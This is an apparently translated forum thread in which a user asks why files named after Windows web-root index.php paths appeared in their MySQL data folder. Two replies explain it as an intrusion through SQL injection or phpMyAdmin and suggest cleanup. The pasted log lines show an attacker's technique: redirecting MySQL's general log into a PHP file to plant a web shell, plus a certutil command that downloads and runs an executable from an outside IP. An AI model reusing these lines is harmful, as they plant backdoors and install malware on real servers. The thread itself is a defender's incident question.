Where did suspicious files in mysql data folder come from?

Question

MySQL

Hello!
I noticed suspicious PHP files in the MySQL data folder:
auto.cnf
ca-key.pem
ca.pem
C:AppServwwwindex.php
client-cert.pem
client-key.pem
C:phpStudyPHPTutorialWWWindex.php
C:phpStudyWWWindex.php
C:PHPTutorialWWWindex. php
C:xampphtdocsindex.php
D:phpStudyPHPTutorialWWWindex.php
D:phpStudyWWWindex.php
D:PHPTutorialWWWindex.php
E:phpStudyPHPTutorialWWWindex.php
E:phpStudyWWWindex.php
E:PHPTutorialWWWindex.php
ib_buffer_pool
ibdata1
ib_logfile0
ib_logfile1 ibtmp1 mysql.peschema
private key
public_key.pem
server-cert.pem
server-key.pem
sys
Example content:

2018-12-23T08:01:47.597864Z     11192 Query     SELECT '<?php @system("certutil.exe -urlcache -split -f http://23.94.62.127/wkinstall.exe &wkinstall.exe &del wkinstall.exe'
2018-12-23T08:01:47.799769Z     11192 Query     set global general_log='on'
2018-12-23T08:01:47.985474Z     11192 Query     SET global general_log_file='C:\xampp\htdocs\index.php'

What can you say about this? Thank you.

Answer 1

You have a certain element on your website that allows you to upload files, they tried to break it by uploading a shell or a backdoor, but they couldn’t find the path where to upload it normally (or one of the directories open for writing in the web server settings points to the database directory, most likely both). You were saved by the fact that your server is on Linux, and the attacker was trying to break Windows. Perhaps your phpmyadmin component was hacked (for example, they picked up a password). In general, ass to the site, re-upload the content, update the engine and back up the database, and carefully look at the web server config so that there are no extraneous directories in it, which, in principle, should not shine outside.

Answer 2

Your site has SQL injection. The attackers have already received full access to the database, now they are trying to flood the backdoor.